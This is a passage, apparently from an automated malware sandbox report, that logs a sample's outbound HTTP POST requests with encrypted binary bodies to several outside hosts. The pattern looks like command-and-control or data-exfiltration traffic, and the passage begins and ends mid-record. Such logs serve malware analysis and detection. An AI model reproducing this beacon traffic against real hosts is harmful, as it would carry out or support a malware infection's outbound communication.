64 56 34 41 51 56 6d 44 70 36 75 48 4b 56 69 32 41 31 58 59 78 45 32 76 53 45 53 49 56 74 42 6c 34 79 6f 76 6d 67 50 56 43 7a 4b 6a 42 57 48 63 35 2f 62 52 50 73 64 55 6d 59 61 67 38 61 44 43 4b 49 4f 68 32 34 59 38 41 50 65 31 50 78 71 70 48 42 62 36 4b 37 33 57 39 59 32 4f 41 2b 44 4b 47 37 4d 45 71 63 6f 45 65 75 56 69 45 45 45 64 47 2b 61 52 65 39 4b 37 4c 67 65 5a 4c 77 48 64 39 6e 61 5a 35 42 48 4e 35 2b 71 49 4e 66 2b 75 56 44 5a 72 67 78 67 4e 57 36 76 74 41 4d 67 34 61 6c 30 76 70 4e 2f 44 56 46 4e 45 6b 69 31 55 47 58 38 79 33 4b 39 79 6b 65 6d 61 41 70 58 4c 4d 6d 7a 6c 53 76 77 3d 3d Data Ascii: kTmMGvG9mhE6XE+nEJ6BVUorcrYvhgEFtfvshA2h8RkCnG69wZd6ghDtjCS1HodduWi7Zw/qjv9wdZa6D+hddfSlVFnRsX6O25AGJu9rMkl7NsMzhJ/fYE0KSH37gCtPAEpG+IY6Q9/PCWJ6FhkbAKRh9GI5FHf2Uw1cvyCuhySL9mmqZItLt6wm7CsWBM8diyBaA3VqH6uCtTmW1uIJ5ikXK7Bx7fFIi//3QWPeG/VTreVeWZY2wbLO5KiQaut/FjWRQCgym9Kb7qnXIOSXQ+rwkyJ8/tzVzo8DoAN1hmqiC8+a97llkMyADyxWRzlmwEEuzsfMXkpNNyyVvOXj3udzEt3EOiDNCu89efKOXyBFAcHdV4AQVmDp6uHKVi2A1XYxE2vSESIVtBl4yovmgPVCzKjBWHc5/bRPsdUmYag8aDCKIOh24Y8APe1PxqpHBb6K73W9Y2OA+DKG7MEqcoEeuViEEEdG+aRe9K7LgeZLwHd9naZ5BHN5+qINf+uVDZrgxgNW6vtAMg4al0vpN/DVFNEki1UGX8y3K9ykemaApXLMmzlSvw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.evcpa.comCache-Control: no-cacheData Raw: 6e 57 66 59 37 5a 65 61 6f 52 45 47 32 2b 54 58 68 76 66 36 6e 65 42 34 6c 57 44 4e 76 76 53 79 75 34 64 66 32 6d 2b 72 4b 2b 31 37 6a 4d 34 75 64 73 6b 4a 6e 6e 47 69 64 66 4f 78 2b 74 33 68 76 4e 37 78 33 4a 6d 72 39 64 58 64 38 7a 35 4a 4d 77 45 43 46 5a 71 47 41 37 33 54 49 39 75 31 79 70 33 66 78 58 68 7a 73 49 6d 33 51 77 32 76 32 33 55 55 51 79 71 45 59 4a 65 6e 49 73 4a 59 56 79 71 45 45 43 6e 56 2f 2b 6c 44 61 44 75 4d 79 66 6e 76 46 33 39 4d 44 73 59 6e 49 46 33 41 6c 54 4f 42 38 52 41 30 33 79 52 57 39 32 45 79 43 76 65 2f 2b 43 71 62 63 6e 58 6a 4c 42 66 51 51 30 45 6d 54 50 76 44 5a 55 71 48 79 39 58 59 44 32 41 76 57 75 72 37 31 43 58 62 59 6b 63 66 76 57 6a 63 75 4a 4d 66 63 58 4b 54 71 58 56 65 45 77 2f 38 71 69 67 39 66 73 2b 75 30 64 6d 4d 30 35 59 6e 48 32 4c 2f 52 39 2f 39 48 6c 64 70 46 61 68 48 4c 6b 72 32 37 6c 4c 52 43 4e 6b 68 76 71 5a 32 41 35 56 44 43 73 2f 77 76 41 32 52 4e 61 4e 50 50 32 30 43 68 59 75 74 4c 71 41 6d 44 58 78 79 56 7a 42 41 7a 58 76 73 4b 6b 48 2f 34 77 31 4e 77 39 50 4d 4c 74 37 6b 4d 62 35 65 69 74 31 51 79 79 6d 54 54 44 75 59 67 66 31 4b 54 4e 52 6a 34 68 75 50 79 4c 42 45 69 74 42 57 69 35 2f 39 5a 72 46 52 6e 70 4e 73 37 42 4f 68 63 36 62 67 47 36 47 50 72 49 6b 73 43 74 51 6f 66 4d 32 49 4b 70 51 5a 4a 5a 76 31 45 39 62 62 6e 39 48 68 31 65 35 62 4e 6d 66 67 52 78 62 73 6a 47 51 37 4d 54 65 32 52 6b 47 73 34 61 30 73 58 33 58 46 6b 36 49 56 67 41 54 32 41 68 6b 63 50 46 63 76 31 52 76 45 38 50 37 6b 4b 34 73 6b 7a 74 6e 52 33 6b 42 38 54 33 59 61 48 4a 45 61 33 52 52 63 36 54 2f 6f 36 52 4f 76 68 2f 62 48 42 36 4b 4c 46 65 4d 2f 35 36 2b 39 68 49 59 76 4e 32 70 2f Data Ascii: nWfY7ZeaoREG2+TXhvf6neB4lWDNvvSyu4df2m+rK+17jM4udskJnnGidfOx+t3hvN7x3Jmr9dXd8z5JMwECFZqGA73TI9u1yp3fxXhzsIm3Qw2v23UUQyqEYJenIsJYVyqEECnV/+lDaDuMyfnvF39MDsYnIF3AlTOB8RA03yRW92EyCve/+CqbcnXjLBfQQ0EmTPvDZUqHy9XYD2AvWur71CXbYkcfvWjcuJMfcXKTqXVeEw/8qig9fs+u0dmM05YnH2L/R9/9HldpFahHLkr27lLRCNkhvqZ2A5VDCs/wvA2RNaNPP20ChYutLqAmDXxyVzBAzXvsKkH/4w1Nw9PMLt7kMb5eit1QyymTTDuYgf1KTNRj4huPyLBEitBWi5/9ZrFRnpNs7BOhc6bgG6GPrIksCtQofM2IKpQZJZv1E9bbn9Hh1e5bNmfgRxbsjGQ7MTe2RkGs4a0sX3XFk6IVgAT2AhkcPFcv1RvE8P7kK4skztnR3kB8T3YaHJEa3RRc6T/o6ROvh/bHB6KLFeM/56+9hIYvN2p/
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 568User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.gpthink.comCache-Control: no-cacheData Raw: 4e 63 45 54 6f 58 63 76 43 78 4a 70 46 4c 56 71 35 73 61 49 50 73 42 41 79 55 67 74 56 52 6d 6b 6d 7a 4a 69 6d 64 36 74 46 64 64 38 55 65 39 32 70 71 76 7a 2b 78 55 54 6c 65 49 2b 61 4d 74 52 4f 55 6f 74 47 53 64 59 6a 56 4d 56 36 42 31 71 4c 42 42 71 38 39 34 44 49 74 6c 30 33 73 62 57 62 79 62 47 4a 42 69 37 6d 49 7a 4f 6d 56 77 65 6e 7a 65 73 58 79 43 6a 4e 4e 31 4f 47 57 35 71 4b 34 53 4d 30 30 6b 5a 7a 4d 37 66 62 61 75 6a 4b 56 31 75 30 6b 32 49 31 62 63 5a 34 70 41 39 71 63 65 44 56 41 31 73 33 45 55 6a 46 63 4c 6b 49 43 32 72 48 52 32 4b 51 6c 70 4f 56 71 67 61 55 48 49 42 63 4f 6a 71 6d 33 65 67 35 70 67 37 7a 62 44 55 77 48 32 54 37 37 2b 46 6c 36 6f 49 47 56 31 39 66 71 4f 71 2b 63 2f 71 6e 4c 45 6b 45 46 46 76 68 4e 6f 36 41 37 7a 43 45 4b 72 71 62 56 69 71 64 62 7a 46 56 59 74 44 55 49 73 30 68 64 7a 53 50 53 2f 46 79 6f 75 4b 69 38 33 46 63 76 43 42 6e 6e 30 31 4c 31 76 56 75 50 70 6b 4f 44 44 54 71 31 38 69 2f 54 77 64 69 32 50 31 59 4d 54 48 41 72 7a 4d 79 6f 55 53 4f 6d 54 2b 4b 72 4d 6b 69 30 2b 61 4c 38 52 4d 69 70 49 31 46 5a 75 47 41 62 65 34 36 6c 71 37 43 6a 75 33 64 4c 58 4d 6d 4d 76 64 66 41 4e 66 50 75 54 4f 39 47 37 49 46 69 56 79 47 58 7a 56 55 34 4b 33 47 4a 4c 30 7a 74 52 2f 79 4e 76 42 30 77 62 38 4e 6b 34 4d 45 73 2b 48 75 64 52 54 53 75 63 35 79 70 4b 2f 59 2b 6e 63 6a 48 6b 4f 47 6d 62 51 57 51 4a 5a 69 74 31 31 2b 76 38 67 77 69 62 31 31 44 76 7a 78 67 35 34 54 30 70 62 66 70 72 33 39 35 79 4e 4e 42 34 34 45 62 2b 6e 4d 4c 58 4a 67 4d 61 65 7a 2f 4a 6f 52 79 44 66 37 35 33 45 44 38 67 51 55 4b 43 7a 74 67 6f 35 61 6d 30 64 7a 6f 4e 4b 4c 58 52 57 71 59 68 42 43 4f 4d 4a 64 6a 45 36 7a 56 4f 7a 7a 38 39 38 6c 74 47 2f 71 79 5a 36 39 41 3d 3d Data Ascii: NcEToXcvCxJpFLVq5saIPsBAyUgtVRmkmzJimd6tFdd8Ue92pqvz+xUTleI+aMtROUotGSdYjVMV6B1qLBBq894DItl03sbWbybGJBi7mIzOmVwenzesXyCjNN1OGW5qK4SM00kZzM7fbaujKV1u0k2I1bcZ4pA9qceDVA1s3EUjFcLkIC2rHR2KQlpOVqgaUHIBcOjqm3eg5pg7zbDUwH2T77+Fl6oIGV19fqOq+c/qnLEkEFFvhNo6A7zCEKrqbViqdbzFVYtDUIs0hdzSPS/FyouKi83FcvCBnn01L1vVuPpkODDTq18i/Twdi2P1YMTHArzMyoUSOmT+KrMki0+aL8RMipI1FZuGAbe46lq7Cju3dLXMmMvdfANfPuTO9G7IFiVyGXzVU4K3GJL0ztR/yNvB0wb8Nk4MEs+HudRTSuc5ypK/Y+ncjHkOGmbQWQJZit11+v8gwib11Dvzxg54T0pbfpr395yNNB44Eb+nMLXJgMaez/JoRyDf753ED8gQUKCztgo5am0dzoNKLXRWqYhBCOMJdjE6zVOzz898ltG/qyZ69A==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.transsib.comCache-Control: no-cacheData Raw: 42 36 6d 4f 68 65 42 47 68 52 47 6e 48 72 6c 33 4d 38 78 51 4a 68 4e 78 78 46 35 49 6e 77 4f 50 46 44 78 4b 4f 76 30 34 64 31 39 6e 42 59 53 64 45 36 66 63 52 62 67 6d 6e 34 61 42 61 62 57 61 5a 4f 68 5a 4b 59 6c 4b 53 33 64 30 68 6f 68 50 37 6b 46 72 75 50 79 71 58 74 43 54 36 48 67 71 6e 75 78 30 72 32 7a 50 30 45 59 35 33 67 48 66 59 73 65 2b 6e 76 6d 66 42 53 6c 34 42 32 68 4a 42 2b 2f 46 35 7a 6b 4d 6a 45 4d 6e 61 55 54 37 45 2f 4e 74 39 56 47 33 4d 61 58 75 32 47 34 38 7a 63 49 65 52 74 4c 6f 34 69 66 30 46 49 70 67 52 6d 30 4f 35 46 62 30 65 35 4d 75 4f 43 73 48 48 6d 4a 33 6e 34 4d 39 53 36 33 77 6a 64 66 42 39 79 4b 50 4a 73 69 69 4e 47 39 6b 53 59 58 33 62 51 48 30 74 53 2b 79 5a 53 6d 35 55 39 6b 75 61 6f 77 4a 66 70 4b 68 2b 54 6e 2b 6e 46 55 6d 57 47 2b 44 6c 74 7a 61 7a 51 49 31 44 63 4c 58 49 5a 6a 70 54 37 52 54 4e 37 67 6f 6c 4c 4b 54 62 78 69 51 69 31 4f 2f 41 30 43 70 71 47 35 34 35 7a 61 36 44 31 62 65 2b 41 50 54 59 35 37 55 42 53 6f 37 31 37 6b 46 59 79 75 56 73 36 74 43 49 78 58 55 42 77 64 4b 57 65 77 52 4c 43 4b 53 47 34 65 55 55 46 53 2b 55 4f 66 49 56 2b 4f 5a 34 73 2f 51 4d 4e 4d 35 4e 76 61 48 2b 42 30 58 37 46 61 52 5a 71 45 55 30 47 6b 6d 2b 52 38 77 4a 46 46 38 62 46 4b 72 6e 34 66 56 56 6b 38 43 46 68 71 68 4f 72 35 63 4a 46 67 52 42 66 72 33 35 52 74 76 41 31 74 44 6d 45 46 4e 55 39 50 74 42 5a 50 71 36 77 33 79 58 6b 2b 6f 34 31 70 59 39 74 68 49 2f 38 4e 62 57 32 36 77 61 2f 47 4c 35 78 74 30 2f 49 65 31 46 5a 79 2f 6c 58 2f 59 4c 63 56 39 69 51 4d 6a 6b 7a 33 36 30 59 77 52 50 79 4b 70 30 30 53 54 55 42 56 6c 65 65 66 72 55 46 54 38 6f 41 3d 3d Data Ascii: B6mOheBGhRGnHrl3M8xQJhNxxF5InwOPFDxKOv04d19nBYSdE6fcRbgmn4aBabWaZOhZKYlKS3d0hohP7kFruPyqXtCT6Hgqnux0r2zP0EY53gHfYse+nvmfBSl4B2hJB+/F5zkMjEMnaUT7E/Nt9VG3MaXu2G48zcIeRtLo4if0FIpgRm0O5Fb0e5MuOCsHHmJ3n4M9S63wjdfB9yKPJsiiNG9kSYX3bQH0tS+yZSm5U9kuaowJfpKh+Tn+nFUmWG+DltzazQI1DcLXIZjpT7RTN7golLKTbxiQi1O/A0CpqG545za6D1be+APTY57UBSo717kFYyuVs6tCIxXUBwdKWewRLCKSG4eUUFS+UOfIV+OZ4s/QMNM5NvaH+B0X7FaRZqEU0Gkm+R8wJFF8bFKrn4fVVk8CFhqhOr5cJFgRBfr35RtvA1tDmEFNU9PtBZPq6w3yXk+o41pY9thI/8NbW26wa/GL5xt0/Ie1FZy/lX/YLcV9iQMjkz360YwRPyKp00STUBVleefrUFT8oA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vexcom.comCache-Control: no-cacheData Raw: 44 53 34 4d 52 37 6f 7a 49 52 49 6a 69 33 64 33 58 61 2f 6b 62 2f 30 6b 67 6a 51 71 50 69 2b 52 6a 74 46 65 34 6a 75 58 79 39 71 55 48 70 49 38 51 49 78 69 77 49 35 76 43 45 75 61 4c 57 39 36 4d 37 4f 65 71 6e 6b 54 55 55 39 44 79 63 76 41 43 31 43 52 33 50 7a 5a 63 64 77 56 4e 47 55 4d 6a 45 69 76 5a 42 57 43 59 65 67 76 66 5a 50 70 50 6b 64 37 72 64 7a 4b 36 65 78 30 79 37 4e 64 66 52 63 4d 7a 5a 31 30 42 6e 65 44 55 4d 70 52 38 37 53 4a 4e 79 78 58 62 66 68 7a 64 47 32 33 56 69 33 6e 54 2b 35 43 58 37 77 71 57 72 54 69 65 77 65 30 77 32 72 54 74 72 69 55 77 34 61 46 2f 4a 32 52 53 4f 4b 36 4f 30 52 5a 66 64 46 39 70 57 32 63 4c 42 57 73 46 55 73 61 2f 37 55 41 67 35 77 42 50 6f 6f 58 36 49 39 50 43 35 6e 6a 74 72 2f 69 39 46 57 76 37 4f 4b 30 4d 48 6d 65 51 56 66 37 35 7a 63 7a 35 70 64 6e 35 35 55 43 45 7a 49 54 31 41 61 72 70 6a 49 4c 4e 49 38 76 4f 58 6e 75 41 50 36 53 65 2b 72 64 54 62 6d 6a 51 2b 34 2b 69 2b 56 32 37 4b 6d 52 6e 49 74 6c 47 46 68 7a 7a 70 4c 47 7a 55 35 70 54 6d 73 70 51 38 39 56 57 68 2f 41 77 4a 4b 38 48 4b 33 6f 69 30 6f 47 43 62 46 78 44 37 35 45 4f 76 30 37 79 5a 53 36 42 4e 51 36 79 74 34 69 65 72 36 55 4e 67 67 6e 54 4f 67 2b 36 59 6d 77 49 35 33 34 46 7a 4f 37 66 57 51 4e 4f 74 74 63 4c 72 6c 63 51 6e 48 64 42 54 66 39 63 79 42 41 64 63 43 45 54 59 42 59 30 70 76 4a 50 67 30 77 50 72 6f 64 47 76 49 50 63 63 66 37 66 44 6a 72 65 68 54 32 2b 69 58 39 78 43 68 2f 4c 48 56 58 72 55 2f 72 2b 6c 52 6b 32 58 45 49 75 66 65 58 59 48 73 49 66 54 41 73 62 44 66 52 63 2f 68 6c 4b 30 46 4c 78 4e 78 72 39 4f 55 50 66 78 78 65 56 79 6f 6f 7a 51 3d 3d Data Ascii: DS4MR7ozIRIji3d3Xa/kb/0kgjQqPi+RjtFe4juXy9qUHpI8QIxiwI5vCEuaLW96M7OeqnkTUU9DycvAC1CR3PzZcdwVNGUMjEivZBWCYegvfZPpPkd7rdzK6ex0y7NdfRcMzZ10BneDUMpR87SJNyxXbfhzdG23Vi3nT+5CX7wqWrTiewe0w2rTtriUw4aF/J2RSOK6O0RZfdF9pW2cLBWsFUsa/7UAg5wBPooX6I9PC5njtr/i9FWv7OK0MHmeQVf75zcz5pdn55UCEzIT1AarpjILNI8vOXnuAP6Se+rdTbmjQ+4+i+V27KmRnItlGFhzzpLGzU5pTmspQ89VWh/AwJK8HK3oi0oGCbFxD75EOv07yZS6BNQ6yt4ier6UNggnTOg+6YmwI534FzO7fWQNOttcLrlcQnHdBTf9cyBAdcCETYBY0pvJPg0wProdGvIPccf7fDjrehT2+iX9xCh/LHVXrU/r+lRk2XEIufeXYHsIfTAsbDfRc/hlK0FLxNxr9OUPfxxeVyoozQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.iamdirt.comCache-Control: no-cacheData Raw: 35 78 7a 74 52 30 43 4c 4b 52 4a 52 75 37 48 4c 45 34 56 47 54 33 4d 55 79 47 67 6f 36 36 74 34 64 46 5a 6e 67 6e 58 6a 42 68 51 68 61 33 58 44 52 4c 72 57 6f 2f 2f 6c 4c 6f 62 42 37 79 78 4f 39 57 38 56 38 74 61 4d 36 4c 4d 32 38 32 31 69 69 73 64 54 61 6a 70 6f 6d 45 68 6e 68 68 41 35 42 64 38 6a 31 72 4e 55 6f 69 70 77 63 50 47 5a 6a 4c 69 59 76 54 47 35 58 71 4e 70 41 4a 30 56 6c 33 50 79 56 6c 55 68 48 36 67 42 58 49 63 59 78 45 2f 62 50 39 38 43 47 48 4b 5a 45 77 4b 77 44 64 5a 46 5a 30 42 63 66 64 64 62 4d 2f 65 43 4a 33 57 58 47 4b 4f 55 37 62 35 38 33 78 72 78 2b 69 46 55 4d 58 6c 35 4a 2b 69 30 69 78 48 51 6e 67 65 77 41 61 56 30 4f 47 44 32 73 65 2f 6e 6e 51 4b 5a 39 57 4c 68 4e 44 6b 66 6b 66 77 38 57 78 71 68 32 35 67 6b 6c 45 56 43 57 62 44 42 67 4b 56 4a 7a 36 74 58 6b 4f 79 43 79 4d 71 6c 4e 31 62 56 4c 67 72 2b 2b 50 36 79 56 67 47 72 4b 54 75 78 38 79 63 55 77 2f 2f 37 51 54 6e 6c 70 58 6a 7a 78 44 31 58 55 62 56 34 75 79 6b 79 64 2f 45 50 45 4b 52 6a 78 6b 66 70 38 7a 4b 61 2b 6a 2f 4f 42 76 62 45 49 49 69 61 74 6d 59 6b 76 33 74 65 38 31 73 42 64 65 43 72 61 41 75 2b 57 38 54 59 61 72 42 76 65 76 34 59 38 68 51 66 37 76 6a 6a 2f 44 47 2f 4d 30 61 7a 38 70 48 78 51 51 57 2f 63 79 48 47 64 6f 76 35 45 73 4f 77 4f 35 70 57 75 50 54 66 59 51 4c 77 4b 56 35 74 51 65 4a 37 64 32 4c 70 6c 50 70 48 38 34 56 31 6c 4c 41 68 79 69 38 67 4b 63 4e 75 66 46 75 77 46 66 39 46 6d 2b 5a 76 32 4a 46 55 49 53 30 4d 45 32 47 51 4a 43 4f 6e 53 6e 49 44 45 4f 49 6c 6b 7a 67 54 63 7a 79 38 37 49 72 76 2b 36 31 44 73 55 35 63 47 2b 32 37 67 4f 72 79 46 6f 6b 4e 74 46 6d 34 71 77 6c 49 64 64 55 69 4f 4c 70 66 72 4e 47 7a 31 54 37 6f 34 6c 70 73 71 69 4f 44 74 75 68 61 45 4c 74 66 72 6b 30 78 58 54 49 58 67 42 34 4b 4b 65 4e 33 76 41 3d 3d Data Ascii: 5xztR0CLKRJRu7HLE4VGT3MUyGgo66t4dFZngnXjBhQha3XDRLrWo//lLobB7yxO9W8V8taM6LM2821iisdTajpomEhnhhA5Bd8j1rNUoipwcPGZjLiYvTG5XqNpAJ0Vl3PyVlUhH6gBXIcYxE/bP98CGHKZEwKwDdZFZ0BcfddbM/eCJ3WXGKOU7b583xrx+iFUMXl5J+i0ixHQngewAaV0OGD2se/nnQKZ9WLhNDkfkfw8Wxqh25gklEVCWbDBgKVJz6tXkOyCyMqlN1bVLgr++P6yVgGrKTux8ycUw//7QTnlpXjzxD1XUbV4uykyd/EPEKRjxkfp8zKa+j/OBvbEIIiatmYkv3te81sBdeCraAu+W8TYarBvev4Y8hQf7vjj/DG/M0az8pHxQQW/cyHGdov5EsOwO5pWuPTfYQLwKV5tQeJ7d2LplPpH84V1lLAhyi8gKcNufFuwFf9Fm+Zv2JFUIS0ME2GQJCOnSnIDEOIlkzgTczy87Irv+61DsU5cG+27gOryFokNtFm4qwlIddUiOLpfrNGz1T7o4lpsqiODtuhaELtfrk0xXTIXgB4KKeN3vA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 560User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.vitaindu.comCache-Control: no-cacheData Raw: 31 48 6c 6f 6c 57 59 50 4c 42 49 46 53 4c 6a 5a 41 56 2f 45 4e 34 6e 35 50 71 52 47 67 53 45 38 2b 72 45 4a 6c 54 4c 6c 4c 44 73 49 55 49 34 4e 44 62 6a 6f 52 77 62 51 71 2b 6f 76 38 47 75 38 73 79 74 51 6f 41 6d 55 47 66 67 75 36 58 65 75 44 69 54 45 4e 66 4c 32 77 75 36 2f 4e 73 36 6a 66 52 38 41 54 59 62 2b 47 61 44 45 34 30 4d 33 53 5a 53 73 7a 49 65 59 4a 41 2f 58 45 52 4e 39 6a 41 6a 36 71 61 59 6e 33 36 2b 55 77 30 35 48 66 32 78 2f 72 51 67 58 75 6e 6f 73 43 30 45 61 54 74 6b 42 76 41 56 63 41 49 37 2f 5a 75 61 52 79 47 6e 2f 59 4d 41 78 4b 47 48 41 55 4d 31 59 4d 39 62 75 5a 53 56 31 36 52 79 38 77 64 4d 6b 54 38 36 5a 74 38 73 4f 76 49 4b 35 6a 2f 69 33 6c 53 59 61 73 58 45 6d 30 67 53 51 7a 6e 63 4d 67 32 34 37 56 63 66 63 35 47 2f 34 57 38 71 56 36 45 51 32 7a 6f 58 2b 6e 4a 47 70 6b 54 39 75 44 41 6a 43 4a 49 36 50 61 52 56 4e 2f 65 47 4b 57 75 48 75 5a 4f 52 2f 4c 4c 45 5a 56 55 2b 70 62 53 70 32 5a 32 4d 38 74 69 72 37 57 67 49 71 46 33 44 2f 71 49 39 73 42 48 6e 46 51 63 68 43 4d 35 70 73 41 45 54 75 50 6c 66 62 78 57 55 79 59 73 65 5a 67 62 55 2b 76 5a 56 47 64 4d 46 57 72 65 58 39 73 73 34 74 6c 46 6d 58 39 6c 36 61 2f 6d 4e 69 33 56 72 51 63 61 72 4d 39 6f 72 58 35 39 46 7a 78 57 30 65 6e 7a 58 77 77 6b 62 34 4e 7a 79 47 58 66 33 42 30 6e 31 62 76 4d 71 73 68 4b 78 78 68 6f 63 56 70 74 44 56 4d 34 39 61 38 4a 66 4a 58 6e 67 74 66 70 66 35 36 48 36 67 32 6f 6e 37 69 47 78 50 36 2f 54 74 2b 71 6c 43 61 44 5a 61 6e 51 78 4a 57 68 74 66 30 4c 6b 6a 58 52 70 39 50 6d 2f 6d 4b 72 4a 66 4a 35 41 32 63 4f 50 56 56 63 76 37 45 56 50 70 4a 62 71 78 4b 62 2f 55 36 34 32 79 55 32 70 73 56 71 74 52 37 48 78 57 76 30 6e 46 33 66 37 33 51 74 55 3d Data Ascii: 1HlolWYPLBIFSLjZAV/EN4n5PqRGgSE8+rEJlTLlLDsIUI4NDbjoRwbQq+ov8Gu8sytQoAmUGfgu6XeuDiTENfL2wu6/Ns6jfR8ATYb+GaDE40M3SZSszIeYJA/XERN9jAj6qaYn36+Uw05Hf2x/rQgXunosC0EaTtkBvAVcAI7/ZuaRyGn/YMAxKGHAUM1YM9buZSV16Ry8wdMkT86Zt8sOvIK5j/i3lSYasXEm0gSQzncMg247Vcfc5G/4W8qV6EQ2zoX+nJGpkT9uDAjCJI6PaRVN/eGKWuHuZOR/LLEZVU+pbSp2Z2M8tir7WgIqF3D/qI9sBHnFQchCM5psAETuPlfbxWUyYseZgbU+vZVGdMFWreX9ss4tlFmX9l6a/mNi3VrQcarM9orX59FzxW0enzXwwkb4NzyGXf3B0n1bvMqshKxxhocVptDVM49a8JfJXngtfpf56H6g2on7iGxP6/Tt+qlCaDZanQxJWhtf0LkjXRp9Pm/mKrJfJ5A2cOPVVcv7EVPpJbqxKb/U642yU2psVqtR7HxWv0nF3f73QtU=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.xaicom.esCache-Control: no-cacheData Raw: 53 72 4b 4d 62 59 31 6b 4f 78 4b 39 6f 44 71 6f 42 44 78 49 70 55 59 30 67 46 4c 37 6c 6f 44 50 45 53 62 39 45 66 56 4e 31 44 4c 38 34 33 41 69 47 33 57 35 38 66 54 4e 78 46 78 6a 6e 38 67 68 31 4a 62 42 66 66 58 4c 33 55 47 68 73 2f 55 36 7a 47 32 36 73 41 62 4f 69 6d 57 71 5a 68 39 5a 75 38 5a 64 41 6d 6a 7a 6a 2f 57 61 79 63 43 32 34 38 47 4e 52 31 59 44 61 6c 74 4f 7a 65 48 58 6c 67 61 36 45 78 63 61 4a 47 33 7a 58 51 5a 32 6b 47 67 46 2f 37 46 30 66 45 51 4a 6a 62 79 53 4c 48 51 57 49 64 4e 31 30 50 30 6c 73 62 37 4c 45 32 4a 6f 44 6f 58 54 76 47 52 69 48 56 46 33 31 67 6f 58 42 66 30 66 71 64 6e 6d 52 39 31 6c 63 72 32 4c 46 61 67 64 51 43 42 6c 59 70 2f 62 6c 6a 36 77 4f 57 69 6e 65 55 2b 47 43 52 6e 53 42 68 2b 41 44 73 50 6b 7a 56 34 44 6d 62 31 57 46 41 6b 49 56 41 71 61 56 50 64 51 45 78 53 43 50 51 69 61 46 68 79 4f 62 42 62 78 4c 31 72 69 66 30 58 54 34 6f 48 39 67 4f 2b 5a 71 47 36 75 4f 50 4b 54 55 79 41 62 6c 77 76 68 55 33 31 6c 49 38 2f 61 55 48 51 2f 4b 43 45 49 69 53 44 68 65 79 67 4a 69 43 70 35 46 55 54 58 47 52 64 53 69 72 72 59 49 47 4b 45 73 69 45 48 47 51 43 41 70 47 6c 2b 2b 77 35 51 73 45 61 4a 32 4e 43 39 4b 2f 7a 6d 64 35 51 31 56 48 63 6c 66 52 66 4d 6a 6f 42 71 46 75 76 68 69 38 63 43 38 4f 32 30 4f 6f 64 77 37 30 35 32 4a 37 64 7a 78 43 43 46 56 5a 52 35 45 30 79 39 75 66 77 71 76 64 67 31 64 2f 32 6e 58 35 54 62 55 41 57 4e 37 67 30 6f 69 33 2f 67 67 63 2f 47 45 64 62 46 6e 69 4e 46 36 37 42 69 39 75 70 6b 39 31 6e 38 62 37 35 54 75 30 45 39 52 79 6e 59 36 36 67 62 69 61 43 71 68 57 46 77 73 35 58 31 46 36 32 6a 4f 75 63 67 6c 39 71 48 57 2f 52 38 Data Ascii: SrKMbY1kOxK9oDqoBDxIpUY0gFL7loDPESb9EfVN1DL843AiG3W58fTNxFxjn8gh1JbBffXL3UGhs/U6zG26sAbOimWqZh9Zu8ZdAmjzj/WaycC248GNR1YDaltOzeHXlga6ExcaJG3zXQZ2kGgF/7F0fEQJjbySLHQWIdN10P0lsb7LE2JoDoXTvGRiHVF31goXBf0fqdnmR91lcr2LFagdQCBlYp/blj6wOWineU+GCRnSBh+ADsPkzV4Dmb1WFAkIVAqaVPdQExSCPQiaFhyObBbxL1rif0XT4oH9gO+ZqG6uOPKTUyAblwvhU31lI8/aUHQ/KCEIiSDheygJiCp5FUTXGRdSirrYIGKEsiEHGQCApGl++w5QsEaJ2NC9K/zmd5Q1VHclfRfMjoBqFuvhi8cC8O20Oodw7052J7dzxCCFVZR5E0y9ufwqvdg1d/2nX5TbUAWN7g0oi3/ggc/GEdbFniNF67Bi9upk91n8b75Tu0E9RynY66gbiaCqhWFws5X1F62jOucgl9qHW/R8
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 564User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.hummer.huCache-Control: no-cacheData Raw: 6f 68 43 30 4e 72 6d 59 74 42 45 4a 4d 43 4c 39 53 47 71 46 41 56 4a 31 34 2b 57 58 66 4b 49 78 2f 57 61 44 57 45 43 59 35 6e 67 30 6e 78 76 68 79 4e 65 78 47 48 4c 54 67 2b 6b 63 6f 2f 76 46 30 42 33 70 2f 58 5a 79 77 34 56 54 43 52 34 43 78 61 62 47 49 6f 33 67 52 6f 43 35 61 70 53 41 76 6b 32 77 73 59 46 6a 4a 55 68 61 72 65 41 77 44 5a 63 64 6f 2b 76 41 68 69 56 76 78 6c 74 34 79 4a 4c 6f 61 4c 77 64 53 4e 57 31 57 70 32 76 4a 6a 5a 6e 43 72 79 61 51 36 79 4b 39 6c 73 76 6f 56 54 48 74 7a 36 34 2f 44 77 35 47 57 35 70 31 79 6f 65 2f 54 55 45 31 6c 6d 52 6f 70 30 68 7a 67 76 55 69 68 69 66 6c 72 78 64 57 6f 45 77 79 47 33 62 32 35 48 53 62 55 33 56 62 4d 56 5a 52 61 42 38 77 73 73 79 72 58 67 70 